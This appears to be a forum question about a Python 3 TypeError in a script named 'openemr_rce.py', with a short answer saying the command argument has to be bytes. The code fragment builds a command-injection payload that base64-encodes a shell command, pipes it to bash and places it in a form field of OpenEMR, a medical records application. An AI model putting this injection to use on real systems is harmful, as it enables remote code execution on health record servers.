My code is:
_cmd = "|| echo " + base64.b64encode(args.cmd) + "|base64 -d|bash"
p.update({"form_284": _cmd})
My error is:
Traceback (most recent call last):
File "openemr_rce.py", line 136, in <module>
_cmd = "|| echo " + base64.b64encode(args.cmd) + "|base64 -d|bash"
File "/usr/lib/python3.8/base64.py", line 58, in b64encode
encoded = binascii.b2a_base64(s, newline=False)
TypeError: a bytes-like object is required, not 'str'
Edit:
There is no problem when you run it in python2
args.cmdis astr, it should be abytesobject to make it compatible with base 64 encoding. Without knowing where it came from, we can't know why it's the wrong type. A minimal reproducible example is needed for a complete answer.